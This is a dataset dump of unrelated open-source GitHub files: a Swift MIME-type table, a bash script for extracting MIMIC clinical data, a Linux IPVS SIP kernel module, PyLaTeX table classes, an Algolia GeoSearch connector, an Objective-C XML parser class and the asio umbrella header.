text
stringlengths
2
100k
meta
dict
// // MimeTypea.swift // // This source file is part of the Telegram Bot SDK for Swift (unofficial). // // Copyright (c) 2015 - 2020 Andrey Fidrya and the project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See LICENSE.txt for license information // See AUTHORS.txt for the list of the project authors // import Foundation let mimeTypes: [String: String] = [ "3gp": "video/3gpp", "3gpp": "video/3gpp", "7z": "application/x-7z-compressed", "ai": "application/postscript", "asf": "video/x-ms-asf", "asx": "video/x-ms-asf", "atom": "application/atom+xml", "avi": "video/x-msvideo", "bin": "application/octet-stream", "bmp": "image/x-ms-bmp", "cco": "application/x-cocoa", "crt": "application/x-x509-ca-cert", "css": "text/css", "deb": "application/octet-stream", "der": "application/x-x509-ca-cert", "dll": "application/octet-stream", "dmg": "application/octet-stream", "doc": "application/msword", "docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "ear": "application/java-archive", "eot": "application/vnd.ms-fontobject", "eps": "application/postscript", "exe": "application/octet-stream", "flv": "video/x-flv", "gif": "image/gif", "hqx": "application/mac-binhex40", "htc": "text/x-component", "htm": "text/html", "html": "text/html", "ico": "image/x-icon", "img": "application/octet-stream", "iso": "application/octet-stream", "jad": "text/vnd.sun.j2me.app-descriptor", "jar": "application/java-archive", "jardiff": "application/x-java-archive-diff", "jng": "image/x-jng", "jnlp": "application/x-java-jnlp-file", "jpeg": "image/jpeg", "jpg": "image/jpeg", "js": "application/javascript", "json": "application/json", "kar": "audio/midi", "kml": "application/vnd.google-earth.kml+xml", "kmz": "application/vnd.google-earth.kmz", "m3u8": "application/vnd.apple.mpegurl", "m4a": "audio/x-m4a", "m4v": "video/x-m4v", "md": "text/markdown", "mpg": "video/mpeg", "mid": "audio/midi", "midi": "audio/midi", "mml": "text/mathml", "mng": "video/x-mng", "mov": "video/quicktime", "mp3": "audio/mpeg", "mp4": "video/mp4", "mpeg": "video/mpeg", "msi": "application/octet-stream", "msm": "application/octet-stream", "msp": "application/octet-stream", "ogg": "audio/ogg", "pdb": "application/x-pilot", "pdf": "application/pdf", "pem": "application/x-x509-ca-cert", "pl": "application/x-perl", "pm": "application/x-perl", "png": "image/png", "ppt": "application/vnd.ms-powerpoint", "pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation", "prc": "application/x-pilot", "ps": "application/postscript", "ra": "audio/x-realaudio", "rar": "application/x-rar-compressed", "rpm": "application/x-redhat-package-manager", "rss": "application/rss+xml", "rtf": "application/rtf", "run": "application/x-makeself", "sea": "application/x-sea", "shtml": "text/html", "sit": "application/x-stuffit", "svg": "image/svg+xml", "svgz": "image/svg+xml", "swf": "application/x-shockwave-flash", "tcl": "application/x-tcl", "tif": "image/tiff", "tiff": "image/tiff", "tk": "application/x-tcl", "ts": "video/mp2t", "txt": "text/plain", "war": "application/java-archive", "wbmp": "image/vnd.wap.wbmp", "webm": "video/webm", "webp": "image/webp", "wml": "text/vnd.wap.wml", "wmlc": "application/vnd.wap.wmlc", "wmv": "video/x-ms-wmv", "woff": "application/font-woff", "xhtml": "application/xhtml+xml", "xls": "application/vnd.ms-excel", "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xml": "text/xml", "xpi": "application/x-xpinstall", "xspf": "application/xspf+xml", "zip": "application/zip" ]
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Workspace version = "1.0"> <FileRef location = "group:Runner.xcodeproj"> </FileRef> <FileRef location = "group:Pods/Pods.xcodeproj"> </FileRef> </Workspace>
{ "pile_set_name": "Github" }
#!/bin/bash # # Build curated dataset of .csv / .npy / .hd5 files # for patient time-series data extracted from PSQL DB # # Takes optional argument POP_SIZE # mkdir -p $MIMIC_EXTRACT_OUTPUT_DIR; if [[ -z $POP_SIZE ]]; then # means extract all available data POP_SIZE=0; fi python -u $MIMIC_EXTRACT_CODE_DIR/mimic_direct_extract.py \ --out_path $MIMIC_EXTRACT_OUTPUT_DIR/ \ --resource_path $MIMIC_EXTRACT_CODE_DIR/resources/ \ --extract_pop 2 \ --extract_outcomes 2 \ --extract_codes 0 \ --extract_numerics 2 \ --extract_notes 0\ --exit_after_loading 0 \ --plot_hist 0 \ --pop_size $POP_SIZE \ --psql_password $PGPASSWORD \ --psql_host $HOST \ --min_percent 0 \
{ "pile_set_name": "Github" }
#define KMSG_COMPONENT "IPVS" #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt #include <linux/module.h> #include <linux/kernel.h> #include <net/ip_vs.h> #include <net/netfilter/nf_conntrack.h> #include <linux/netfilter/nf_conntrack_sip.h> #ifdef CONFIG_IP_VS_DEBUG static const char *ip_vs_dbg_callid(char *buf, size_t buf_len, const char *callid, size_t callid_len, int *idx) { size_t len = min(min(callid_len, (size_t)64), buf_len - *idx - 1); memcpy(buf + *idx, callid, len); buf[*idx+len] = '\0'; *idx += len + 1; return buf + *idx - len; } #define IP_VS_DEBUG_CALLID(callid, len) \ ip_vs_dbg_callid(ip_vs_dbg_buf, sizeof(ip_vs_dbg_buf), \ callid, len, &ip_vs_dbg_idx) #endif static int get_callid(const char *dptr, unsigned int dataoff, unsigned int datalen, unsigned int *matchoff, unsigned int *matchlen) { /* Find callid */ while (1) { int ret = ct_sip_get_header(NULL, dptr, dataoff, datalen, SIP_HDR_CALL_ID, matchoff, matchlen); if (ret > 0) break; if (!ret) return -EINVAL; dataoff += *matchoff; } /* Too large is useless */ if (*matchlen > IP_VS_PEDATA_MAXLEN) return -EINVAL; /* SIP headers are always followed by a line terminator */ if (*matchoff + *matchlen == datalen) return -EINVAL; /* RFC 2543 allows lines to be terminated with CR, LF or CRLF, * RFC 3261 allows only CRLF, we support both. */ if (*(dptr + *matchoff + *matchlen) != '\r' && *(dptr + *matchoff + *matchlen) != '\n') return -EINVAL; IP_VS_DBG_BUF(9, "SIP callid %s (%d bytes)\n", IP_VS_DEBUG_CALLID(dptr + *matchoff, *matchlen), *matchlen); return 0; } static int ip_vs_sip_fill_param(struct ip_vs_conn_param *p, struct sk_buff *skb) { struct ip_vs_iphdr iph; unsigned int dataoff, datalen, matchoff, matchlen; const char *dptr; int retc; ip_vs_fill_iphdr(p->af, skb_network_header(skb), &iph); /* Only useful with UDP */ if (iph.protocol != IPPROTO_UDP) return -EINVAL; /* No Data ? */ dataoff = iph.len + sizeof(struct udphdr); if (dataoff >= skb->len) return -EINVAL; if ((retc=skb_linearize(skb)) < 0) return retc; dptr = skb->data + dataoff; datalen = skb->len - dataoff; if (get_callid(dptr, dataoff, datalen, &matchoff, &matchlen)) return -EINVAL; /* N.B: pe_data is only set on success, * this allows fallback to the default persistence logic on failure */ p->pe_data = kmemdup(dptr + matchoff, matchlen, GFP_ATOMIC); if (!p->pe_data) return -ENOMEM; p->pe_data_len = matchlen; return 0; } static bool ip_vs_sip_ct_match(const struct ip_vs_conn_param *p, struct ip_vs_conn *ct) { bool ret = false; if (ct->af == p->af && ip_vs_addr_equal(p->af, p->caddr, &ct->caddr) && /* protocol should only be IPPROTO_IP if * d_addr is a fwmark */ ip_vs_addr_equal(p->protocol == IPPROTO_IP ? AF_UNSPEC : p->af, p->vaddr, &ct->vaddr) && ct->vport == p->vport && ct->flags & IP_VS_CONN_F_TEMPLATE && ct->protocol == p->protocol && ct->pe_data && ct->pe_data_len == p->pe_data_len && !memcmp(ct->pe_data, p->pe_data, p->pe_data_len)) ret = true; IP_VS_DBG_BUF(9, "SIP template match %s %s->%s:%d %s\n", ip_vs_proto_name(p->protocol), IP_VS_DEBUG_CALLID(p->pe_data, p->pe_data_len), IP_VS_DBG_ADDR(p->af, p->vaddr), ntohs(p->vport), ret ? "hit" : "not hit"); return ret; } static u32 ip_vs_sip_hashkey_raw(const struct ip_vs_conn_param *p, u32 initval, bool inverse) { return jhash(p->pe_data, p->pe_data_len, initval); } static int ip_vs_sip_show_pe_data(const struct ip_vs_conn *cp, char *buf) { memcpy(buf, cp->pe_data, cp->pe_data_len); return cp->pe_data_len; } static struct ip_vs_pe ip_vs_sip_pe = { .name = "sip", .refcnt = ATOMIC_INIT(0), .module = THIS_MODULE, .n_list = LIST_HEAD_INIT(ip_vs_sip_pe.n_list), .fill_param = ip_vs_sip_fill_param, .ct_match = ip_vs_sip_ct_match, .hashkey_raw = ip_vs_sip_hashkey_raw, .show_pe_data = ip_vs_sip_show_pe_data, }; static int __init ip_vs_sip_init(void) { return register_ip_vs_pe(&ip_vs_sip_pe); } static void __exit ip_vs_sip_cleanup(void) { unregister_ip_vs_pe(&ip_vs_sip_pe); } module_init(ip_vs_sip_init); module_exit(ip_vs_sip_cleanup); MODULE_LICENSE("GPL");
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- """ This module implements the class that deals with tables. .. :copyright: (c) 2014 by Jelte Fennema. :license: MIT, see License for more details. """ from .base_classes import LatexObject, Container, Command, UnsafeCommand, \ Float, Environment from .package import Package from .errors import TableRowSizeError, TableError from .utils import dumps_list, NoEscape, _is_iterable import pylatex.config as cf from collections import Counter import re # The letters used to count the table width COLUMN_LETTERS = {'l', 'c', 'r', 'p', 'm', 'b', 'X'} def _get_table_width(table_spec): """Calculate the width of a table based on its spec. Args ---- table_spec: str The LaTeX column specification for a table. Returns ------- int The width of a table which uses the specification supplied. """ # Remove things like {\bfseries} cleaner_spec = re.sub(r'{[^}]*}', '', table_spec) # Remove X[] in tabu environments so they dont interfere with column count cleaner_spec = re.sub(r'X\[(.*?(.))\]', r'\2', cleaner_spec) spec_counter = Counter(cleaner_spec) return sum(spec_counter[l] for l in COLUMN_LETTERS) class Tabular(Environment): """A class that represents a tabular.""" _repr_attributes_mapping = { 'table_spec': 'arguments', 'pos': 'options', } def __init__(self, table_spec, data=None, pos=None, *, row_height=None, col_space=None, width=None, booktabs=None, **kwargs): """ Args ---- table_spec: str A string that represents how many columns a table should have and if it should contain vertical lines and where. pos: list row_height: float Specifies the heights of the rows in relation to the default row height col_space: str Specifies the spacing between table columns booktabs: bool Enable or disable booktabs style tables. These tables generally look nicer than regular tables. If this is `None` it will use the value of the ``booktabs`` attribte from the `~.active` configuration. This attribute is `False` by default. width: int The amount of columns that the table has. If this is `None` it is calculated based on the ``table_spec``, but this is only works for simple specs. In cases where this calculation is wrong override the width using this argument. References ---------- * https://en.wikibooks.org/wiki/LaTeX/Tables#The_tabular_environment """ if width is None: self.width = _get_table_width(table_spec) else: self.width = width if booktabs is None: booktabs = cf.active.booktabs self.booktabs = booktabs if self.booktabs: self.packages.add(Package('booktabs')) table_spec = '@{}%s@{}' % table_spec self.row_height = row_height if row_height is not None else \ cf.active.row_height self.col_space = col_space super().__init__(data=data, options=pos, arguments=NoEscape(table_spec), **kwargs) # Parameter that determines if the xcolor package has been added. self.color = False def dumps(self): r"""Turn the Latex Object into a string in Latex format.""" string = "" if self.row_height is not None: row_height = Command('renewcommand', arguments=[ NoEscape(r'\arraystretch'), self.row_height]) string += row_height.dumps() + '%\n' if self.col_space is not None: col_space = Command('setlength', arguments=[ NoEscape(r'\tabcolsep'), self.col_space]) string += col_space.dumps() + '%\n' return string + super().dumps() def dumps_content(self, **kwargs): r"""Represent the content of the tabular in LaTeX syntax. This adds the top and bottomrule when using a booktabs style tabular. Args ---- \*\*kwargs: Arguments that can be passed to `~.dumps_list` Returns ------- string: A LaTeX string representing the """ content = '' if self.booktabs: content += '\\toprule%\n' content += super().dumps_content(**kwargs) if self.booktabs: content += '\\bottomrule%\n' return NoEscape(content) def add_hline(self, start=None, end=None, *, color=None, cmidruleoption=None): r"""Add a horizontal line to the table. Args ---- start: int At what cell the line should begin end: int At what cell the line should end color: str The hline color. cmidruleoption: str The option to be used for the booktabs cmidrule, i.e. the ``x`` in ``\cmidrule(x){1-3}``. """ if self.booktabs: hline = 'midrule' cline = 'cmidrule' if cmidruleoption is not None: cline += '(' + cmidruleoption + ')' else: hline = 'hline' cline = 'cline' if color is not None: if not self.color: self.packages.append(Package('xcolor', options='table')) self.color = True color_command = Command(command="arrayrulecolor", arguments=color) self.append(color_command) if start is None and end is None: self.append(Command(hline)) else: if start is None: start = 1 elif end is None: end = self.width self.append(Command(cline, dumps_list([start, NoEscape('-'), end]))) def add_empty_row(self): """Add an empty row to the table.""" self.append(NoEscape((self.width - 1) * '&' + r'\\')) def add_row(self, *cells, color=None, escape=None, mapper=None, strict=True): """Add a row of cells to the table. Args ---- cells: iterable, such as a `list` or `tuple` There's two ways to use this method. The first method is to pass the content of each cell as a separate argument. The second method is to pass a single argument that is an iterable that contains each contents. color: str The name of the color used to highlight the row mapper: callable or `list` A function or a list of functions that should be called on all entries of the list after converting them to a string, for instance bold strict: bool Check for correct count of cells in row or not. """ if len(cells) == 1 and _is_iterable(cells): cells = cells[0] if escape is None: escape = self.escape # Propagate packages used in cells for c in cells: if isinstance(c, LatexObject): for p in c.packages: self.packages.add(p) # Count cell contents cell_count = 0 for c in cells: if isinstance(c, MultiColumn): cell_count += c.size else: cell_count += 1 if strict and cell_count != self.width: msg = "Number of cells added to table ({}) " \ "did not match table width ({})".format(cell_count, self.width) raise TableRowSizeError(msg) if color is not None: if not self.color: self.packages.append(Package("xcolor", options='table')) self.color = True color_command = Command(command="rowcolor", arguments=color) self.append(color_command) self.append(dumps_list(cells, escape=escape, token='&', mapper=mapper) + NoEscape(r'\\')) class Tabularx(Tabular): """A class that represents a tabularx environment.""" packages = [Package('tabularx')] def __init__(self, *args, width_argument=NoEscape(r'\textwidth'), **kwargs): """ Args ---- width_argument: The width of the table. By default the table is as wide as the text. """ super().__init__(*args, start_arguments=width_argument, **kwargs) class MultiColumn(Container): """A class that represents a multicolumn inside of a table.""" # TODO: Make this subclass of ContainerCommand def __init__(self, size, *, align='c', color=None, data=None): """ Args ---- size: int The amount of columns that this cell should fill. align: str How to align the content of the cell. data: str, list or `~.LatexObject` The content of the cell. color: str The color for the MultiColumn """ self.size = size self.align = align super().__init__(data=data) # Add a cell color to the MultiColumn if color is not None: self.packages.append(Package('xcolor', options='table')) color_command = Command("cellcolor", arguments=color) self.append(color_command) def dumps(self): """Represent the multicolumn as a string in LaTeX syntax. Returns ------- str """ args = [self.size, self.align, self.dumps_content()] string = Command(self.latex_name, args).dumps() return string class MultiRow(Container): """A class that represents a multirow in a table.""" # TODO: Make this subclass CommandBase and Container packages = [Package('multirow')] def __init__(self, size, *, width='*', color=None, data=None): """ Args ---- size: int The amount of rows that this cell should fill. width: str Width of the cell. The default is ``*``, which means the content's natural width. data: str, list or `~.LatexObject` The content of the cell. color: str The color for the MultiRow """ self.size = size self.width = width super().__init__(data=data) if color is not None: self.packages.append(Package('xcolor', options='table')) color_command = Command("cellcolor", arguments=color) self.append(color_command) def dumps(self): """Represent the multirow as a string in LaTeX syntax. Returns ------- str """ args = [self.size, self.width, self.dumps_content()] string = Command(self.latex_name, args).dumps() return string class Table(Float): """A class that represents a table float.""" class Tabu(Tabular): """A class that represents a tabu (more flexible table).""" packages = [Package('tabu')] def __init__(self, table_spec, data=None, pos=None, *, row_height=None, col_space=None, width=None, booktabs=None, spread=None, to=None, **kwargs): """ Args ---- table_spec: str A string that represents how many columns a table should have and if it should contain vertical lines and where. pos: list row_height: float Specifies the heights of the rows in relation to the default row height col_space: str Specifies the spacing between table columns booktabs: bool Enable or disable booktabs style tables. These tables generally look nicer than regular tables. If this is `None` it will use the value of the ``booktabs`` attribte from the `~.active` configuration. This attribute is `False` by default. spread: str Specifies the Tabu table should add a given amount of 'padding' to the width of the table. This should be a latex dimension; for example: "0 pt" or "1in" to: str Specifies the Tabu table should extend to a given width. This should be a latex dimension; for example '4in' width: int The amount of columns that the table has. If this is `None` it is calculated based on the ``table_spec``, but this is only works for simple specs. In cases where this calculation is wrong override the width using this argument. References ---------- * https://en.wikibooks.org/wiki/LaTeX/Tables#The_tabular_environment """ super().__init__(table_spec, data, pos, row_height=row_height, col_space=col_space, width=width, booktabs=booktabs, **kwargs) self._preamble = "" if spread: self._preamble = "spread " + spread elif to: self._preamble = "to " + to def dumps(self): """Turn the tabu object into a string in Latex format.""" _s = super().dumps() # Tabu tables support a unusual syntax: # \begin{tabu} spread 0pt {<col format...>} # # Since this syntax isn't common, it doesn't make # sense to support it in the baseclass (e.g., Environment) # rather, here we fix the LaTeX string post-hoc if self._preamble: if _s.startswith(r"\begin{longtabu}"): _s = _s[:16] + self._preamble + _s[16:] elif _s.startswith(r"\begin{tabu}"): _s = _s[:12] + self._preamble + _s[12:] else: raise TableError("Can't apply preamble to Tabu table " "(unexpected initial command sequence)") return _s class LongTable(Tabular): """A class that represents a longtable (multipage table).""" packages = [Package('longtable')] header = False foot = False lastFoot = False # noqa, casing is needed for backwards compatibility def end_table_header(self): r"""End the table header which will appear on every page.""" if self.header: msg = "Table already has a header" raise TableError(msg) self.header = True self.append(Command(r'endhead')) def end_table_footer(self): r"""End the table foot which will appear on every page.""" if self.foot: msg = "Table already has a foot" raise TableError(msg) self.foot = True self.append(Command('endfoot')) def end_table_last_footer(self): r"""End the table foot which will appear on the last page.""" if self.lastFoot: msg = "Table already has a last foot" raise TableError(msg) self.lastFoot = True self.append(Command('endlastfoot')) class LongTabu(LongTable, Tabu): """A class that represents a longtabu (more flexible multipage table).""" class LongTabularx(Tabularx, LongTable): """A class that represents a long version of the tabularx environment. This uses the ``ltablex`` package. This package modifies the ``tabularx`` environment so that it can be spread over multiple pages. This has the sideeffect that using this class in a document spreads all `Tabularx` elements in that document over multiple pages as well. """ _latex_name = 'tabularx' packages = [Package('ltablex')] class ColumnType(UnsafeCommand): r"""A class representing a new column type. It uses the ``\newcolumntype`` command, for a thorough explanation see `this StackExchange question <https://tex.stackexchange.com/ questions/257128/how-does-the-newcolumntype-command-work>`_. """ _repr_attributes_mapping = { 'name': 'arguments', 'parameters': 'options' } def __init__(self, name, base, modifications, *, parameters=None): """ Args ---- name: str The name of the new column type (a single letter) base: str The name of the column type that the new one is based on (a single letter) modifications: str The modifications to be made to the base column type parameters: int The number of # parameters inside the modifications string, if this is `None` this is calculated automatically. """ # repr vars self._base = base self._modifications = modifications COLUMN_LETTERS.add(name) if parameters is None: # count the number of non escaped #<number> parameters parameters = len(re.findall(r'(?<!\\)#\d', modifications)) parameters += len(re.findall(r'(?<!\\)#\d', base)) if parameters == 0: parameters = None modified = r">{%s\arraybackslash}%s" % (modifications, base) super().__init__(command="newcolumntype", arguments=name, options=parameters, extra_arguments=modified)
{ "pile_set_name": "Github" }
import { objectHasKeys } from '../core/utils'; import createConnector from '../core/createConnector'; import { getResults, getCurrentRefinementValue, getIndexId, refineValue, cleanUpValue, } from '../core/indexUtils'; /** * The GeoSearch connector provides the logic to build a widget that will display the results on a map. * It also provides a way to search for results based on their position. The connector provides function to manage the search experience (search on map interaction). * @name connectGeoSearch * @kind connector * @requirements Note that the GeoSearch connector uses the [geosearch](https://www.algolia.com/doc/guides/searching/geo-search) capabilities of Algolia. * Your hits **must** have a `_geoloc` attribute in order to be passed to the rendering function. Currently, the feature is not compatible with multiple values in the `_geoloc` attribute * (e.g. a restaurant with multiple locations). In that case you can duplicate your records and use the [distinct](https://www.algolia.com/doc/guides/ranking/distinct) feature of Algolia to only retrieve unique results. * @propType {{ northEast: { lat: number, lng: number }, southWest: { lat: number, lng: number } }} [defaultRefinement] - Default search state of the widget containing the bounds for the map * @providedPropType {function({ northEast: { lat: number, lng: number }, southWest: { lat: number, lng: number } })} refine - a function to toggle the refinement * @providedPropType {function} createURL - a function to generate a URL for the corresponding search state * @providedPropType {array.<object>} hits - the records that matched the search * @providedPropType {boolean} isRefinedWithMap - true if the current refinement is set with the map bounds * @providedPropType {{ northEast: { lat: number, lng: number }, southWest: { lat: number, lng: number } }} [currentRefinement] - the refinement currently applied * @providedPropType {{ lat: number, lng: number }} [position] - the position of the search */ // To control the map with an external widget the other widget // **must** write the value in the attribute `aroundLatLng` const getBoundingBoxId = () => 'boundingBox'; const getAroundLatLngId = () => 'aroundLatLng'; const getConfigureAroundLatLngId = () => 'configure.aroundLatLng'; const currentRefinementToString = currentRefinement => [ currentRefinement.northEast.lat, currentRefinement.northEast.lng, currentRefinement.southWest.lat, currentRefinement.southWest.lng, ].join(); const stringToCurrentRefinement = value => { const values = value.split(','); return { northEast: { lat: parseFloat(values[0]), lng: parseFloat(values[1]), }, southWest: { lat: parseFloat(values[2]), lng: parseFloat(values[3]), }, }; }; const latLngRegExp = /^(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)$/; const stringToPosition = value => { const pattern = value.match(latLngRegExp); return { lat: parseFloat(pattern[1]), lng: parseFloat(pattern[2]), }; }; const getCurrentRefinement = (props, searchState, context) => { const refinement = getCurrentRefinementValue( props, searchState, context, getBoundingBoxId(), {} ); if (!objectHasKeys(refinement)) { return; } // eslint-disable-next-line consistent-return return { northEast: { lat: parseFloat(refinement.northEast.lat), lng: parseFloat(refinement.northEast.lng), }, southWest: { lat: parseFloat(refinement.southWest.lat), lng: parseFloat(refinement.southWest.lng), }, }; }; const getCurrentPosition = (props, searchState, context) => { const { defaultRefinement, ...propsWithoutDefaultRefinement } = props; const aroundLatLng = getCurrentRefinementValue( propsWithoutDefaultRefinement, searchState, context, getAroundLatLngId() ); if (!aroundLatLng) { // Fallback on `configure.aroundLatLng` const configureAroundLatLng = getCurrentRefinementValue( propsWithoutDefaultRefinement, searchState, context, getConfigureAroundLatLngId() ); return configureAroundLatLng && stringToPosition(configureAroundLatLng); } return aroundLatLng; }; const refine = (searchState, nextValue, context) => { const resetPage = true; const nextRefinement = { [getBoundingBoxId()]: nextValue, }; return refineValue(searchState, nextRefinement, context, resetPage); }; export default createConnector({ displayName: 'AlgoliaGeoSearch', getProvidedProps(props, searchState, searchResults) { const context = { ais: props.contextValue, multiIndexContext: props.indexContextValue, }; const results = getResults(searchResults, context); // We read it from both because the SearchParameters & the searchState are not always // in sync. When we set the refinement the searchState is used but when we clear the refinement // the SearchParameters is used. In the first case when we render, the results are not there // so we can't find the value from the results. The most up to date value is the searchState. // But when we clear the refinement the searchState is immediately cleared even when the items // retrieved are still the one from the previous query with the bounding box. It leads to some // issue with the position of the map. We should rely on 1 source of truth or at least always // be sync. const currentRefinementFromSearchState = getCurrentRefinement( props, searchState, context ); const currentRefinementFromSearchParameters = (results && results._state.insideBoundingBox && stringToCurrentRefinement(results._state.insideBoundingBox)) || undefined; const currentPositionFromSearchState = getCurrentPosition( props, searchState, context ); const currentPositionFromSearchParameters = (results && results._state.aroundLatLng && stringToPosition(results._state.aroundLatLng)) || undefined; const currentRefinement = currentRefinementFromSearchState || currentRefinementFromSearchParameters; const position = currentPositionFromSearchState || currentPositionFromSearchParameters; return { hits: !results ? [] : results.hits.filter(_ => Boolean(_._geoloc)), isRefinedWithMap: Boolean(currentRefinement), currentRefinement, position, }; }, refine(props, searchState, nextValue) { return refine(searchState, nextValue, { ais: props.contextValue, multiIndexContext: props.indexContextValue, }); }, getSearchParameters(searchParameters, props, searchState) { const currentRefinement = getCurrentRefinement(props, searchState, { ais: props.contextValue, multiIndexContext: props.indexContextValue, }); if (!currentRefinement) { return searchParameters; } return searchParameters.setQueryParameter( 'insideBoundingBox', currentRefinementToString(currentRefinement) ); }, cleanUp(props, searchState) { return cleanUpValue( searchState, { ais: props.contextValue, multiIndexContext: props.indexContextValue }, getBoundingBoxId() ); }, getMetadata(props, searchState) { const items = []; const id = getBoundingBoxId(); const context = { ais: props.contextValue, multiIndexContext: props.indexContextValue, }; const index = getIndexId(context); const nextRefinement = {}; const currentRefinement = getCurrentRefinement(props, searchState, context); if (currentRefinement) { items.push({ label: `${id}: ${currentRefinementToString(currentRefinement)}`, value: nextState => refine(nextState, nextRefinement, context), currentRefinement, }); } return { id, index, items, }; }, shouldComponentUpdate() { return true; }, });
{ "pile_set_name": "Github" }
// Copyright 2010 Todd Ditchendorf // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #import "TDXmlFragment.h" #import "TDXmlToken.h" @implementation TDXmlFragment + (id)doctype { return [[[self alloc] initWithString:nil] autorelease]; } + (id)doctypeWithString:(NSString *)s { return [[[self alloc] initWithString:s] autorelease]; } - (id)initWithString:(NSString *)s { self = [super initWithString:s]; if (self) { self.tok = [TDXmlToken tokenWithTokenType:TDTT_XML_FRAGMENT stringValue:s]; } return self; } - (void)dealloc { [super dealloc]; } - (BOOL)qualifies:(id)obj { TDXmlToken *other = (TDXmlToken *)obj; if ([string length]) { return [tok isEqual:other]; } else { return other.isFragment; } } @end
{ "pile_set_name": "Github" }
/* * Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH * under one or more contributor license agreements. See the NOTICE file * distributed with this work for additional information regarding copyright * ownership. Camunda licenses this file to you under the Apache License, * Version 2.0; you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */
{ "pile_set_name": "Github" }
// // asio.hpp // ~~~~~~~~ // // Copyright (c) 2003-2016 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef ASIO_HPP #define ASIO_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include "asio/async_result.hpp" #include "asio/basic_datagram_socket.hpp" #include "asio/basic_deadline_timer.hpp" #include "asio/basic_io_object.hpp" #include "asio/basic_raw_socket.hpp" #include "asio/basic_seq_packet_socket.hpp" #include "asio/basic_serial_port.hpp" #include "asio/basic_signal_set.hpp" #include "asio/basic_socket_acceptor.hpp" #include "asio/basic_socket_iostream.hpp" #include "asio/basic_socket_streambuf.hpp" #include "asio/basic_stream_socket.hpp" #include "asio/basic_streambuf.hpp" #include "asio/basic_waitable_timer.hpp" #include "asio/buffer.hpp" #include "asio/buffered_read_stream_fwd.hpp" #include "asio/buffered_read_stream.hpp" #include "asio/buffered_stream_fwd.hpp" #include "asio/buffered_stream.hpp" #include "asio/buffered_write_stream_fwd.hpp" #include "asio/buffered_write_stream.hpp" #include "asio/buffers_iterator.hpp" #include "asio/completion_condition.hpp" #include "asio/connect.hpp" #include "asio/coroutine.hpp" #include "asio/datagram_socket_service.hpp" #include "asio/deadline_timer_service.hpp" #include "asio/deadline_timer.hpp" #include "asio/error.hpp" #include "asio/error_code.hpp" #include "asio/generic/basic_endpoint.hpp" #include "asio/generic/datagram_protocol.hpp" #include "asio/generic/raw_protocol.hpp" #include "asio/generic/seq_packet_protocol.hpp" #include "asio/generic/stream_protocol.hpp" #include "asio/handler_alloc_hook.hpp" #include "asio/handler_continuation_hook.hpp" #include "asio/handler_invoke_hook.hpp" #include "asio/handler_type.hpp" #include "asio/io_service.hpp" #include "asio/ip/address.hpp" #include "asio/ip/address_v4.hpp" #include "asio/ip/address_v6.hpp" #include "asio/ip/basic_endpoint.hpp" #include "asio/ip/basic_resolver.hpp" #include "asio/ip/basic_resolver_entry.hpp" #include "asio/ip/basic_resolver_iterator.hpp" #include "asio/ip/basic_resolver_query.hpp" #include "asio/ip/host_name.hpp" #include "asio/ip/icmp.hpp" #include "asio/ip/multicast.hpp" #include "asio/ip/resolver_query_base.hpp" #include "asio/ip/resolver_service.hpp" #include "asio/ip/tcp.hpp" #include "asio/ip/udp.hpp" #include "asio/ip/unicast.hpp" #include "asio/ip/v6_only.hpp" #include "asio/is_read_buffered.hpp" #include "asio/is_write_buffered.hpp" #include "asio/local/basic_endpoint.hpp" #include "asio/local/connect_pair.hpp" #include "asio/local/datagram_protocol.hpp" #include "asio/local/stream_protocol.hpp" #include "asio/placeholders.hpp" #include "asio/posix/basic_descriptor.hpp" #include "asio/posix/basic_stream_descriptor.hpp" #include "asio/posix/descriptor_base.hpp" #include "asio/posix/stream_descriptor.hpp" #include "asio/posix/stream_descriptor_service.hpp" #include "asio/raw_socket_service.hpp" #include "asio/read.hpp" #include "asio/read_at.hpp" #include "asio/read_until.hpp" #include "asio/seq_packet_socket_service.hpp" #include "asio/serial_port.hpp" #include "asio/serial_port_base.hpp" #include "asio/serial_port_service.hpp" #include "asio/signal_set.hpp" #include "asio/signal_set_service.hpp" #include "asio/socket_acceptor_service.hpp" #include "asio/socket_base.hpp" #include "asio/strand.hpp" #include "asio/stream_socket_service.hpp" #include "asio/streambuf.hpp" #include "asio/system_error.hpp" #include "asio/thread.hpp" #include "asio/time_traits.hpp" #include "asio/version.hpp" #include "asio/wait_traits.hpp" #include "asio/waitable_timer_service.hpp" #include "asio/windows/basic_handle.hpp" #include "asio/windows/basic_object_handle.hpp" #include "asio/windows/basic_random_access_handle.hpp" #include "asio/windows/basic_stream_handle.hpp" #include "asio/windows/object_handle.hpp" #include "asio/windows/object_handle_service.hpp" #include "asio/windows/overlapped_ptr.hpp" #include "asio/windows/random_access_handle.hpp" #include "asio/windows/random_access_handle_service.hpp" #include "asio/windows/stream_handle.hpp" #include "asio/windows/stream_handle_service.hpp" #include "asio/write.hpp" #include "asio/write_at.hpp" #endif // ASIO_HPP
{ "pile_set_name": "Github" }
